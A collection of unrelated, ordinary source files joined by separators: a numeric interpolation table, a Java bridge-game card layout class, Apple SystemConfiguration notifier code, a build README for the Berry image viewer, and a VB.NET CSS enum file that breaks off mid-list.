39.5838,39.4802,39.3771,39.2744,39.1721,39.0701,38.9686,38.8675,38.7668,
38.6665,38.5666,38.467,38.3679,38.2691,38.1708,38.0728,37.9752,37.8779,
37.7811,37.6846,37.5885,37.4928,37.3974,37.3024,37.2078,37.1135,37.0196,
36.9261,36.8329,36.7401,36.6476,36.5555,36.4637,36.3723,36.2812,36.1904,
36.1001,36.01,35.9203,35.8309,35.7419,35.6532,35.5648,35.4768,35.3891,
35.3017,35.2146,35.1279,35.0415,34.9554,34.8697,34.7842,34.6991,34.6143,
34.5297,34.4456,34.3617,34.2781,34.1948,34.1119,34.0292,33.9468,33.8648,
33.783,33.7016,33.6204,33.5395,33.459,33.3787,33.2987,33.219,33.1396,
33.0604,32.9816,32.903,32.8248,32.7468,32.669,32.5916,32.5144,32.4375,
32.3609,32.2846,32.2085,32.1327,32.0572,31.9819,31.9069,31.8322,31.7577,
31.6835,31.6096,31.5359,31.4624,31.3893,31.3164,31.2437,31.1713,31.0991,
31.0272,30.9556,30.8842,30.813,30.7421,30.6715,30.601,30.5309,30.4609,
30.3912,30.3218,30.2526,30.1836,30.1149,30.0463,29.9781,29.91,29.8422,
29.7747,29.7073,29.6402,29.5733,29.5067,29.4402,29.374,29.308,29.2423,
29.1767,29.1114,29.0463,28.9814,28.9168,28.8523,28.7881,28.7241,28.6603,
28.5967,28.5333,28.4701,28.4072,28.3444,28.2819,28.2196,28.1574,28.0955,
28.0338,27.9723,27.911,27.8499,27.789,27.7283,27.6678,27.6075,27.5473,
27.4874,27.4277,27.3682,27.3088,27.2497,27.1908,27.132,27.0734,27.0151,
26.9569,26.8989,26.8411,26.7835,26.726,26.6688,26.6117,26.5548,26.4981,
26.4416,26.3852,26.3291,26.2731,26.2173,26.1617,26.1062,26.0509,25.9959,
25.9409,25.8862,25.8316,25.7772,25.723,25.6689,25.615,25.5613,25.5078,
25.4544,25.4012,25.3481,25.2952,25.2425,25.19,25.1376,25.0853,25.0333,
24.9814,24.9296,24.8781,24.8267,24.7754,24.7243,24.6734,24.6226,24.5719,
24.5215,24.4711,24.421,24.371,24.3211,24.2714,24.2219,24.1725,24.1232,
24.0741,24.0252,23.9764,23.9277,23.8792,23.8309,23.7827,23.7346,23.6867,
23.6389,23.5913,23.5438,23.4965,23.4493,23.4022,23.3553,23.3085,23.2619,
23.2154,23.1691,23.1228,23.0768,23.0308,22.985,22.9394,22.8938,22.8484,
22.8032,22.758,22.713,22.6682,22.6235,22.5789,22.5344,22.4901,22.4459,
22.4018,22.3579,22.314,22.2704,22.2268,22.1834,22.1401,22.0969,22.0538,
22.0109,21.9681,21.9254,21.8829,21.8405,21.7982,21.756,21.7139,21.672,
21.6302,21.5885,21.5469,21.5055,21.4641,21.4229,21.3818,21.3408,21.3,
21.2592,21.2186,21.1781,21.1377,21.0974,21.0572,21.0172,20.9772,20.9374,
20.8977,20.8581,20.8186,20.7792,20.74,20.7008,20.6618,20.6229,20.584,
20.5453,20.5067,20.4682,20.4298,20.3916,20.3534,20.3153,20.2774,20.2395,
20.2018,20.1641,20.1266,20.0892,20.0518,20.0146,19.9775,19.9405,19.9035,
19.8667,19.83,19.7934,19.7569,19.7205,19.6842,19.648,19.6119,19.5759,
19.54,19.5041,19.4684,19.4328,19.3973,19.3619,19.3266,19.2913,19.2562,
19.2212,19.1862,19.1514,19.1166,19.082,19.0474,19.0129,18.9786,18.9443,
18.9101,18.876,18.842,18.8081,18.7742,18.7405,18.7069,18.6733,18.6399,
18.6065,18.5732,18.54,18.5069,18.4739,18.441,18.4081,18.3754,18.3427,
18.3101,18.2776,18.2452,18.2129,18.1807,18.1485,18.1165,18.0845,18.0526,
18.0208,17.989,17.9574,17.9258,17.8944,17.863,17.8317,17.8004,17.7693,
17.7382,17.7072,17.6763,17.6455,17.6147,17.5841,17.5535,17.523,17.4926,
17.4622,17.432,17.4018,17.3717,17.3416,17.3117,17.2818,17.252,17.2223,
17.1926,17.163,17.1335,17.1041,17.0748,17.0455,17.0163,16.9872,16.9582,
16.9292,16.9003,16.8715,16.8427,16.814,16.7854,16.7569,16.7284,16.7001,
16.6717,16.6435,16.6153,16.5872,16.5592,16.5313,16.5034,16.4755,16.4478,
16.4201,16.3925,16.365,16.3375,16.3101,16.2828,16.2555,16.2283,16.2012,
16.1741,16.1472,16.1202,16.0934,16.0666,16.0399,16.0132,15.9866,15.9601,
15.9336,15.9072,15.8809,15.8546,15.8285,15.8023,15.7763,15.7502,15.7243,
15.6984,15.6726,15.6469,15.6212,15.5956,15.57,15.5445,15.5191,15.4937,
15.4684,15.4431,15.4179,15.3928,15.3678,15.3428,15.3178,15.2929,15.2681,
15.2433,15.2186,15.194,15.1694,15.1449,15.1204,15.096,15.0717,15.0474,
15.0232,14.999,14.9749,14.9508,14.9268,14.9029,14.879,14.8552,14.8314,
14.8077,14.7841,14.7605,14.7369,14.7134,14.69,14.6666,14.6433,14.6201,
14.5969,14.5737,14.5506,14.5276,14.5046,14.4816,14.4588,14.4359,14.4132,
14.3904,14.3678,14.3452,14.3226,14.3001,14.2777,14.2553,14.2329,14.2106,
14.1884,14.1662,14.144,14.122,14.0999,14.0779,14.056,14.0341,14.0123,
13.9905,13.9688,13.9471,13.9255,13.9039,13.8824,13.8609,13.8395,13.8181,
13.7968,13.7755,13.7543,13.7331,13.7119,13.6909,13.6698,13.6488,13.6279,
13.607,13.5861,13.5654,13.5446,13.5239,13.5032,13.4826,13.4621,13.4416,
13.4211,13.4007,13.3803,13.36,13.3397,13.3195,13.2993,13.2791,13.259,
13.239,13.219,13.199,13.1791,13.1592,13.1394,13.1196,13.0999,13.0802,
13.0605,13.0409,13.0214,13.0018,12.9824,12.9629,12.9436,12.9242,12.9049,
12.8857,12.8664,12.8473,12.8281,12.8091,12.79,12.771,12.7521,12.7331,
12.7143,12.6954,12.6766,12.6579,12.6392,12.6205,12.6019,12.5833,12.5648,
12.5463,12.5278,12.5094,12.491,12.4726,12.4543,12.4361,12.4179,12.3997,
12.3815,12.3634,12.3454,12.3274,12.3094,12.2914,12.2735,12.2557,12.2378,
12.22,12.2023,12.1846,12.1669,12.1493,12.1317,12.1141,12.0966,12.0791,
12.0617,12.0443,12.0269,12.0096,11.9923,11.975,11.9578,11.9406,11.9235,
11.9064,11.8893,11.8723,11.8553,11.8383,11.8214,11.8045,11.7876,11.7708,
11.754,11.7373,11.7206,11.7039,11.6872,11.6706,11.6541,11.6375,11.621,
11.6046,11.5881,11.5717,11.5554,11.5391,11.5228,11.5065,11.4903,11.4741,
11.4579,11.4418,11.4257,11.4097,11.3937,11.3777,11.3617,11.3458,11.3299,
11.3141,11.2983,11.2825,11.2667,11.251,11.2353,11.2197,11.204,11.1885,
11.1729,11.1574,11.1419,11.1264,11.111,11.0956,11.0802,11.0649,11.0496,
11.0343,11.0191,11.0039,10.9887,10.9736,10.9585,10.9434,10.9283,10.9133,
10.8983,10.8834,10.8684,10.8535,10.8387,10.8238,10.809,10.7943,10.7795,
10.7648,10.7501,10.7355,10.7208,10.7063,10.6917,10.6772,10.6626,10.6482,
10.6337,10.6193,10.6049,10.5906,10.5762,10.5619,10.5477,10.5334,10.5192,
10.505,10.4909,10.4767,10.4626,10.4486,10.4345,10.4205,10.4065,10.3925,
10.3786,10.3647,10.3508,10.337,10.3232,10.3094,10.2956,10.2819,10.2682,
10.2545,10.2408,10.2272,10.2136,10.2,10.1865,10.173,10.1595,10.146,
10.1326,10.1191,10.1058,10.0924,10.0791,10.0658,10.0525,10.0392,10.026,
10.0128,9.99961,9.98646,9.97333,9.96024,9.94716,9.93411,9.92109,9.90809,
9.89512,9.88218,9.86926,9.85636,9.84349,9.83065,9.81783,9.80503,9.79226,
9.77952,9.76679,9.7541,9.74143,9.72878,9.71616,9.70356,9.69099,9.67844,
9.66592,9.65342,9.64094,9.62849,9.61606,9.60366,9.59128,9.57892,9.56659,
9.55428,9.542,9.52973,9.5175,9.50528,9.49309,9.48093,9.46878,9.45666,
9.44456,9.43249,9.42044,9.40841,9.3964,9.38442,9.37246,9.36052,9.34861,
9.33672,9.32485,9.313,9.30118,9.28938,9.2776,9.26584,9.25411,9.2424,
9.23071,9.21904,9.20739,9.19577,9.18417,9.17259,9.16103,9.14949,9.13798,
9.12649,9.11502,9.10357,9.09214,9.08073,9.06935,9.05798,9.04664,9.03532,
9.02402,9.01274,9.00148,8.99024,8.97903,8.96783,8.95666,8.9455,8.93437,
8.92326,8.91217,8.9011,8.89005,8.87902,8.86801,8.85702,8.84605,8.8351,
8.82417,8.81327,8.80238,8.79151,8.78066,8.76984,8.75903,8.74824,8.73747,
8.72673,8.716,8.70529,8.6946,8.68393,8.67328,8.66265,8.65204,8.64145,
8.63088,8.62033,8.6098,8.59928,8.58879,8.57831,8.56786,8.55742,8.547,
8.5366,8.52622,8.51586,8.50552,8.49519,8.48489,8.4746,8.46433,8.45409,
8.44385,8.43364,8.42345,8.41327,8.40312,8.39298,8.38286,8.37276,8.36267,
8.35261,8.34256,8.33253,8.32252,8.31253,8.30255,8.29259,8.28265,8.27273,
8.26283,8.25294,8.24307,8.23322,8.22339,8.21357,8.20378,8.194,8.18423,
8.17449,8.16476,8.15505,8.14535,8.13568,8.12602,8.11637,8.10675,8.09714,
8.08755,8.07797,8.06842,8.05888,8.04935,8.03985,8.03036,8.02088,8.01143,
8.00199,7.99257,7.98316,7.97377,7.9644,7.95504,7.9457,7.93637,7.92707,
7.91777,7.9085,7.89924,7.89,7.88077,7.87156,7.86237,7.85319,7.84403,
7.83488,7.82575,7.81664,7.80754,7.79846,7.78939,7.78034,7.7713,7.76228,
7.75328,7.74429,7.73532,7.72636,7.71742,7.70849,7.69958,7.69069,7.68181,
7.67294,7.66409,7.65526,7.64644,7.63764,7.62885,7.62008,7.61132,7.60257,
7.59385,7.58513,7.57643,7.56775,7.55908,7.55043,7.54179,7.53317,7.52456,
7.51596,7.50738,7.49882,7.49027,7.48173,7.47321,7.4647,7.45621,7.44773,
7.43927,7.43082,7.42238,7.41396,7.40556,7.39717,7.38879,7.38042,7.37208,
7.36374,7.35542,7.34711,7.33882,7.33054,7.32228,7.31402,7.30579,7.29756,
7.28935,7.28116,7.27298,7.26481,7.25665,7.24851,7.24039,7.23227,7.22417,
7.21609,7.20801,7.19995,7.19191,7.18388,7.17586,7.16785,7.15986,7.15188,
7.14392,7.13596,7.12802,7.1201,7.11219,7.10429,7.0964,7.08853,7.08067,
7.07282,7.06499,7.05716,7.04936,7.04156,7.03378,7.02601,7.01825,7.01051,
7.00278,6.99506,6.98735,6.97966,6.97198,6.96431,6.95666,6.94902,6.94139,
6.93377,6.92616,6.91857,6.91099,6.90343,6.89587,6.88833,6.8808,6.87328,
6.86577,6.85828,6.8508,6.84333,6.83587,6.82843,6.821,6.81358,6.80617,
6.79877,6.79139,6.78401,6.77665,6.76931,6.76197,6.75464,6.74733,6.74003,
6.73274,6.72546,6.7182,6.71095,6.7037,6.69647,6.68925,6.68205,6.67485,
6.66767,6.6605,6.65334,6.64619,6.63905,6.63192,6.62481,6.6177,6.61061,
6.60353,6.59646,6.58941,6.58236,6.57532,6.5683,6.56129,6.55428,6.54729,
6.54032,6.53335,6.52639,6.51944,6.51251,6.50559,6.49867,6.49177,6.48488,
6.478,6.47113,6.46427,6.45742,6.45059,6.44376,6.43695,6.43014,6.42335,
6.41657,6.4098,6.40304,6.39629,6.38955,6.38282,6.3761,6.36939,6.36269,
6.35601,6.34933,6.34266,6.33601,6.32936,6.32273,6.3161,6.30949,6.30289,
6.29629,6.28971,6.28314,6.27658,6.27002,6.26348,6.25695,6.25043,6.24392,
6.23742,6.23093,6.22445,6.21798,6.21152,6.20507,6.19862,6.19219,6.18577,
6.17936,6.17296,6.16657,6.16019,6.15382,6.14746,6.14111,6.13477,6.12844,
6.12211,6.1158,6.1095,6.10321,6.09692,6.09065,6.08439,6.07813,6.07189,
6.06565,6.05943,6.05321,6.04701,6.04081,6.03462,6.02845,6.02228,6.01612,
6.00997,6.00383,5.9977,5.99158,5.98547,5.97937,5.97327,5.96719,5.96111,
5.95505,5.94899,5.94295,5.93691,5.93088,5.92486,5.91885,5.91285,5.90686,
5.90087,5.8949,5.88894,5.88298,5.87703,5.8711,5.86517,5.85925,5.85334,
5.84744,5.84154,5.83566,5.82978,5.82392,5.81806,5.81221,5.80637,5.80054,
5.79472,5.7889,5.7831,5.7773,5.77152,5.76574,5.75997,5.75421,5.74845,
5.74271,5.73697,5.73125,5.72553,5.71982,5.71412,5.70842,5.70274,5.69706,
5.69139,5.68574,5.68008,5.67444,5.66881,5.66318,5.65757,5.65196,5.64636,
5.64076,5.63518,5.6296,5.62404,5.61848,5.61293,5.60738,5.60185,5.59632,
5.59081,5.5853,5.57979,5.5743,5.56881,5.56334,5.55787,5.55241,5.54695,
5.54151,5.53607,5.53064,5.52522,5.5198,5.5144,5.509,5.50361,5.49823,
5.49286,5.48749,5.48213,5.47678,5.47144,5.4661,5.46078,5.45546,5.45014,
5.44484,5.43954,5.43426,5.42898,5.4237,5.41844,5.41318,5.40793,5.40269,
5.39745,5.39223,5.38701,5.38179,5.37659,5.37139,5.3662,5.36102,5.35585,
5.35068,5.34552,5.34037,5.33522,5.33008,5.32496,5.31983,5.31472,5.30961,
5.30451,5.29942,5.29433,5.28925,5.28418,5.27912,5.27406,5.26901,5.26397,
5.25893,5.25391,5.24889,5.24387,5.23887,5.23387,5.22888,5.22389,5.21891,
5.21394,5.20898,5.20402,5.19907,5.19413,5.1892,5.18427,5.17935,5.17443,
5.16952,5.16462,5.15973,5.15484,5.14997,5.14509,5.14023,5.13537,5.13052,
5.12567,5.12083,5.116,5.11118,5.10636,5.10155,5.09674,5.09195,5.08716,
5.08237,5.0776,5.07283,5.06806,5.0633,5.05855,5.05381,5.04907,5.04434,
5.03962,5.0349,5.03019,5.02549,5.02079,5.0161,5.01142,5.00674,5.00207,
4.9974,4.99274,4.98809,4.98345,4.97881,4.97418,4.96955,4.96493,4.96032,
4.95571,4.95111,4.94652,4.94193,4.93735,4.93278,4.92821,4.92365,4.91909,
4.91454,4.91,4.90546,4.90093,4.89641,4.89189,4.88738,4.88287,4.87837,
4.87388,4.8694,4.86491,4.86044,4.85597,4.85151,4.84705,4.8426,4.83816,
4.83372,4.82929,4.82487,4.82045,4.81603,4.81163,4.80723,4.80283,4.79844,
4.79406,4.78968,4.78531,4.78094,4.77658,4.77223,4.76788,4.76354,4.75921,
4.75488,4.75055,4.74624,4.74192,4.73762,4.73332,4.72902,4.72474,4.72045,
4.71618,4.7119,4.70764,4.70338,4.69913,4.69488,4.69064,4.6864,4.68217,
4.67794,4.67372,4.66951,4.6653,4.6611,4.6569,4.65271,4.64853,4.64435,
4.64017,4.636,4.63184,4.62768,4.62353,4.61939,4.61525,4.61111,4.60698,
4.60286,4.59874,4.59463,4.59052,4.58642,4.58232,4.57823,4.57414,4.57006,
4.56599,4.56192,4.55786,4.5538,4.54975,4.5457,4.54166,4.53762,4.53359,
4.52956,4.52554,4.52153,4.51752,4.51351,4.50951,4.50552,4.50153,4.49755,
4.49357,4.4896,4.48563,4.48167,4.47771,4.47376,4.46981,4.46587,4.46193,
4.458,4.45408,4.45016,4.44624,4.44233,4.43843,4.43453,4.43063,4.42674,
4.42286,4.41898,4.4151,4.41123,4.40737,4.40351,4.39965,4.39581,4.39196,
4.38812,4.38429,4.38046,4.37664,4.37282,4.369,4.36519,4.36139,4.35759,
4.3538,4.35001,4.34622,4.34244,4.33867,4.3349,4.33113,4.32738,4.32362,
4.31987,4.31613,4.31238,4.30865,4.30492,4.30119,4.29747,4.29376,4.29005,
4.28634,4.28264,4.27894,4.27525,4.27156,4.26788,4.2642,4.26053,4.25686,
4.2532,4.24954,4.24588,4.24223,4.23859,4.23495,4.23131,4.22768,4.22406,
4.22044,4.21682,4.21321,4.2096,4.206,4.2024,4.1988,4.19522,4.19163,
4.18805,4.18448,4.18091,4.17734,4.17378,4.17022,4.16667,4.16312,4.15958,
4.15604,4.1525,4.14897,4.14545,4.14193,4.13841,4.1349,4.13139,4.12789,
4.12439,4.1209,4.11741,4.11392,4.11044,4.10696,4.10349,4.10002,4.09656,
4.0931,4.08965,4.0862,4.08275,4.07931,4.07587,4.07244,4.06901,4.06559,
4.06217,4.05875,4.05534,4.05193,4.04853,4.04513,4.04174,4.03835,4.03496,
4.03158,4.0282,4.02483,4.02146,4.0181,4.01474,4.01138,4.00803,4.00468,
4.00134,3.998,3.99467,3.99133,3.98801,3.98469,3.98137,3.97805,3.97474,
3.97144,3.96813,3.96484,3.96154,3.95825,3.95497,3.95169,3.94841,3.94514,
3.94187,3.9386,3.93534,3.93208,3.92883,3.92558,3.92234,3.9191,3.91586,
3.91263,3.9094,3.90617,3.90295,3.89973,3.89652,3.89331,3.89011,3.88691,
3.88371,3.88051,3.87733,3.87414,3.87096,3.86778,3.86461,3.86144,3.85827,
3.85511,3.85195,3.8488,3.84565,3.8425,3.83936,3.83622,3.83308,3.82995,
3.82683,3.8237,3.82058,3.81747,3.81435,3.81125,3.80814,3.80504,3.80194,
3.79885,3.79576,3.79268,3.78959,3.78652,3.78344,3.78037,3.7773,3.77424,
3.77118,3.76813,3.76507,3.76203,3.75898,3.75594,3.7529,3.74987,3.74684,
3.74381,3.74079,3.73777,3.73476,3.73175,3.72874,3.72573,3.72273,3.71974,
3.71674,3.71375,3.71077,3.70778,3.7048,3.70183,3.69886,3.69589,3.69292,
3.68996,3.68701,3.68405,3.6811,3.67815,3.67521,3.67227,3.66933,3.6664,
3.66347,3.66055,3.65762,3.6547,3.65179,3.64888,3.64597,3.64306,3.64016,
3.63726,3.63437,3.63148,3.62859,3.62571,3.62282,3.61995,3.61707,3.6142,
3.61134,3.60847,3.60561,3.60275,3.5999,3.59705,3.5942,3.59136,3.58852,
3.58568,3.58285,3.58002,3.57719,3.57437,3.57155,3.56873,3.56592,3.56311,
3.5603,3.5575,3.5547,3.5519,3.54911,3.54632,3.54353,3.54075,3.53797,
3.53519,3.53242,3.52965,3.52688,3.52412,3.52136,3.5186,3.51584,3.51309,
3.51035,3.5076,3.50486,3.50212,3.49939,3.49665,3.49393,3.4912,3.48848,
3.48576,3.48304,3.48033,3.47762,3.47491,3.47221,3.46951,3.46681,3.46412,
3.46143,3.45874,3.45606,3.45338,3.4507,3.44802,3.44535,3.44268,3.44002,
3.43735,3.43469,3.43204,3.42938,3.42673,3.42409,3.42144,3.4188,3.41616,
3.41353,3.4109,3.40827,3.40564,3.40302,3.4004,3.39778,3.39517,3.39256,
3.38995,3.38734,3.38474,3.38214,3.37955,3.37695,3.37436,3.37178,3.36919,
3.36661,3.36403,3.36146,3.35889,3.35632,3.35375,3.35119,3.34863,3.34607,
3.34352,3.34096,3.33842,3.33587,3.33333,3.33079,3.32825,3.32572,3.32319,
3.32066,3.31813,3.31561,3.31309,3.31057,3.30806,3.30555,3.30304,3.30053,
3.29803,3.29553,3.29303,3.29054,3.28805,3.28556,3.28307,3.28059,3.27811,
3.27563,3.27316,3.27069,3.26822,3.26575,3.26329,3.26083,3.25837,3.25592,
3.25347,3.25102,3.24857,3.24613,3.24368,3.24125,3.23881,3.23638,3.23395,
3.23152,3.2291,3.22667,3.22426,3.22184,3.21943,3.21701,3.21461,3.2122,
3.2098,3.2074,3.205,3.2026,3.20021,3.19782,3.19544,3.19305,3.19067,
3.18829,3.18592,3.18354,3.18117,3.1788,3.17644,3.17407,3.17171,3.16936,
3.167,3.16465,3.1623,3.15995,3.15761,3.15526,3.15293,3.15059,3.14825,
3.14592,3.14359,3.14127,3.13894,3.13662,3.1343,3.13199,3.12967,3.12736,
3.12505,3.12275,3.12044,3.11814,3.11585,3.11355,3.11126,3.10897,3.10668,
3.10439,3.10211,3.09983,3.09755,3.09527,3.093,3.09073,3.08846,3.0862,
3.08393,3.08167,3.07942,3.07716,3.07491,3.07266,3.07041,3.06816,3.06592,
3.06368,3.06144,3.0592,3.05697,3.05474,3.05251,3.05028,3.04806,3.04584,
3.04362,3.0414,3.03919,3.03698,3.03477,3.03256,3.03036,3.02815,3.02595,
3.02376,3.02156,3.01937,3.01718,3.01499,3.01281,3.01062,3.00844,3.00627,
3.00409,3.00192,2.99974,2.99758,2.99541,2.99325,2.99108,2.98892,2.98677,
2.98461,2.98246,2.98031,2.97816,2.97602,2.97387,2.97173,2.96959,2.96746,
2.96532,2.96319,2.96106,2.95894,2.95681,2.95469,2.95257,2.95045,2.94834,
2.94622,2.94411,2.942,2.9399,2.93779,2.93569,2.93359,2.93149,2.9294,
2.9273,2.92521,2.92312,2.92104,2.91895,2.91687,2.91479,2.91271,2.91064,
2.90857,2.9065,2.90443,2.90236,2.9003,2.89823,2.89617,2.89412,2.89206,
2.89001,2.88796,2.88591,2.88386,2.88182,2.87978,2.87773,2.8757,2.87366,
2.87163,2.8696,2.86757,2.86554,2.86351,2.86149,2.85947,2.85745,2.85544,
2.85342,2.85141,2.8494,2.84739,2.84538,2.84338,2.84138,2.83938,2.83738,
2.83539,2.83339,2.8314,2.82941,2.82743,2.82544,2.82346,2.82148,2.8195,
2.81752,2.81555,2.81358,2.81161,2.80964,2.80767,2.80571,2.80375,2.80179,
2.79983,2.79787,2.79592,2.79397,2.79202,2.79007,2.78812,2.78618,2.78424,
2.7823,2.78036,2.77843,2.77649,2.77456,2.77263,2.7707,2.76878,2.76685,
2.76493,2.76301,2.7611,2.75918,2.75727,2.75536,2.75345,2.75154,2.74963,
2.74773,2.74583,2.74393,2.74203,2.74013,2.73824,2.73635,2.73446,2.73257,
2.73069,2.7288,2.72692,2.72504,2.72316,2.72129,2.71941,2.71754,2.71567,
2.7138,2.71193,2.71007,2.70821,2.70634,2.70449,2.70263,2.70077,2.69892,
2.69707,2.69522,2.69337,2.69153,2.68968,2.68784,2.686,2.68416,2.68233,
2.68049,2.67866,2.67683,2.675,2.67318,2.67135,2.66953,2.66771,2.66589,
2.66407,2.66226,2.66044,2.65863,2.65682,2.65501,2.65321,2.6514,2.6496,
2.6478,2.646,2.6442,2.64241,2.64061,2.63882,2.63703,2.63524,2.63346,
2.63167,2.62989,2.62811,2.62633,2.62455,2.62278,2.621,2.61923,2.61746,
2.61569,2.61393,2.61216,2.6104,2.60864,2.60688,2.60512,2.60337,2.60161,
2.59986,2.59811,2.59636,2.59462,2.59287,2.59113,2.58939,2.58765,2.58591,
2.58417,2.58244,2.5807,2.57897,2.57724,2.57552,2.57379,2.57207,2.57034,
2.56862,2.5669,2.56519,2.56347,2.56176,2.56005,2.55834,2.55663,2.55492,
2.55322,2.55151,2.54981,2.54811,2.54641,2.54471,2.54302,2.54133,2.53963,
2.53794,2.53626,2.53457
};
int i = int(kf);
double x = kf-i;
if(i>2999)
return 2;//or maybe tablica_Mef[2999];
else
return MEF[i]*(1-x) + MEF[i+1]*x;
}
| Java |
package org.gnubridge.presentation.gui;
import java.awt.Point;
import org.gnubridge.core.Card;
import org.gnubridge.core.Direction;
import org.gnubridge.core.East;
import org.gnubridge.core.Deal;
import org.gnubridge.core.Hand;
import org.gnubridge.core.North;
import org.gnubridge.core.South;
import org.gnubridge.core.West;
import org.gnubridge.core.deck.Suit;
public class OneColumnPerColor extends HandDisplay {
public OneColumnPerColor(Direction human, Direction player, Deal game, CardPanelHost owner) {
super(human, player, game, owner);
}
final static int CARD_OFFSET = 30;
@Override
public void display() {
dispose(cards);
Hand hand = new Hand(game.getPlayer(player).getHand());
Point upperLeft = calculateUpperLeft(human, player);
for (Suit color : Suit.list) {
int j = 0;
for (Card card : hand.getSuitHi2Low(color)) {
CardPanel cardPanel = new CardPanel(card);
cards.add(cardPanel);
if (human.equals(South.i())) {
cardPanel.setPlayable(true);
}
owner.addCard(cardPanel);
cardPanel.setLocation((int) upperLeft.getX(), (int) upperLeft.getY() + CARD_OFFSET * j);
j++;
}
upperLeft.setLocation(upperLeft.getX() + CardPanel.IMAGE_WIDTH + 2, upperLeft.getY());
}
}
private Point calculateUpperLeft(Direction human, Direction player) {
Direction slot = new HumanAlwaysOnBottom(human).mapRelativeTo(player);
if (North.i().equals(slot)) {
return new Point(235, 5);
} else if (West.i().equals(slot)) {
return new Point(3, owner.getTotalHeight() - 500);
} else if (East.i().equals(slot)) {
return new Point(512, owner.getTotalHeight() - 500);
} else if (South.i().equals(slot)) {
return new Point(235, owner.getTableBottom() + 1);
}
throw new RuntimeException("unknown direction");
}
}
| Java |
/*
* Copyright (c) 2000-2005, 2008-2011 Apple Inc. All rights reserved.
*
* @APPLE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this
* file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_LICENSE_HEADER_END@
*/
/*
* Modification History
*
* June 1, 2001 Allan Nathanson <[email protected]>
* - public API conversion
*
* March 31, 2000 Allan Nathanson <[email protected]>
* - initial revision
*/
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <SystemConfiguration/SystemConfiguration.h>
#include <SystemConfiguration/SCPrivate.h>
#include "SCDynamicStoreInternal.h"
#include "config.h" /* MiG generated file */
Boolean
SCDynamicStoreNotifyCancel(SCDynamicStoreRef store)
{
SCDynamicStorePrivateRef storePrivate = (SCDynamicStorePrivateRef)store;
kern_return_t status;
int sc_status;
if (store == NULL) {
/* sorry, you must provide a session */
_SCErrorSet(kSCStatusNoStoreSession);
return FALSE;
}
switch (storePrivate->notifyStatus) {
case NotifierNotRegistered :
/* if no notifications have been registered */
return TRUE;
case Using_NotifierInformViaRunLoop :
CFRunLoopSourceInvalidate(storePrivate->rls);
storePrivate->rls = NULL;
return TRUE;
case Using_NotifierInformViaDispatch :
(void) SCDynamicStoreSetDispatchQueue(store, NULL);
return TRUE;
default :
break;
}
if (storePrivate->server == MACH_PORT_NULL) {
/* sorry, you must have an open session to play */
sc_status = kSCStatusNoStoreServer;
goto done;
}
status = notifycancel(storePrivate->server, (int *)&sc_status);
if (__SCDynamicStoreCheckRetryAndHandleError(store,
status,
&sc_status,
"SCDynamicStoreNotifyCancel notifycancel()")) {
sc_status = kSCStatusOK;
}
done :
/* set notifier inactive */
storePrivate->notifyStatus = NotifierNotRegistered;
if (sc_status != kSCStatusOK) {
_SCErrorSet(sc_status);
return FALSE;
}
return TRUE;
}
| Java |
### Berry
Berry is multiplatform and modern image viewer, focused on better user interface...
### How to Compile
#### Install dependencies
Install gcc, g++, libexiv2, Qt5Core, Qt5DBus, Qt5Gui, Qt5Multimedia, Qt5MultimediaQuick_p, Qt5Network, Qt5PrintSupport, Qt5Qml, Qt5Quick, Qt5Sql, Qt5Svg, and Qt5Widgets.
on Ubuntu:
sudo apt-get install g++ gcc libexiv2-dev qtbase5-dev libqt5sql5-sqlite libqt5multimediaquick-p5 libqt5multimedia5-plugins libqt5multimedia5 libqt5qml5 libqt5qml-graphicaleffects libqt5qml-quickcontrols qtdeclarative5-dev libqt5quick5
For other distributions search for the corresponding packages.
#### Get source code from git repository
If you want get source from git repository you should install git on your system:
sudo apt-get install git
After git installed, get code with this command:
git clone https://github.com/Aseman-Land/Berry.git
#### Start building
Switch to source directory
cd berry
##### Ubuntu
mkdir build && cd build
qmake -r ..
make
You can use command below after building to clean build directory on the each step.
make clean
| Java |
#Region "Microsoft.VisualBasic::1832a06e22224b31f8fa10e2ca2102b9, ..\sciBASIC#\mime\text%html\HTML\CSS\Parser\enums.vb"
' Author:
'
' asuka ([email protected])
' xieguigang ([email protected])
' xie ([email protected])
'
' Copyright (c) 2016 GPL3 Licensed
'
'
' GNU GENERAL PUBLIC LICENSE (GPL3)
'
' This program is free software: you can redistribute it and/or modify
' it under the terms of the GNU General Public License as published by
' the Free Software Foundation, either version 3 of the License, or
' (at your option) any later version.
'
' This program is distributed in the hope that it will be useful,
' but WITHOUT ANY WARRANTY; without even the implied warranty of
' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
' GNU General Public License for more details.
'
' You should have received a copy of the GNU General Public License
' along with this program. If not, see <http://www.gnu.org/licenses/>.
#End Region
Imports System.ComponentModel
''' <summary>
''' Define Tag type.
''' </summary>
Public Enum CSSTagTypes As Byte
''' <summary>
''' Normal HTMl Tag.
''' </summary>
tag = 0
''' <summary>
''' Class in HTML Code.
''' </summary>
[class]
''' <summary>
''' Tag in HTML Code.
''' </summary>
id
End Enum
''' <summary>
''' HTML Tags.
''' </summary>
Public Enum HtmlTags
h1
h2
h3
h4
h5
h6
body
a
img
ol
ul
li
table
tr
th
nav
heder
footer
form
[option]
[select]
button
textarea
input
audio
video
iframe
hr
em
div
pre
p
span
End Enum
''' <summary>
''' Css properties list.
''' </summary>
Public Enum CssProperty As Int32
''' <summary>
''' font-weight
''' </summary>
<Description("font-weight")> font_weight
''' <summary>
''' border-radius
''' </summary>
<Description("border-radius")> border_radius
''' <summary>
''' color-stop
''' </summary>
<Description("color-stop")> color_stop
''' <summary>
''' alignment-adjust
''' </summary>
<Description("alignment-adjust")> alignment_adjust
''' <summary>
''' alignment-baseline
''' </summary>
<Description("alignment-baseline")> alignment_baseline
''' <summary>
''' animation
''' </summary>
<Description("animation")> animation
''' <summary>
''' animation-delay
''' </summary>
<Description("animation-delay")> animation_delay
''' <summary>
''' animation-direction
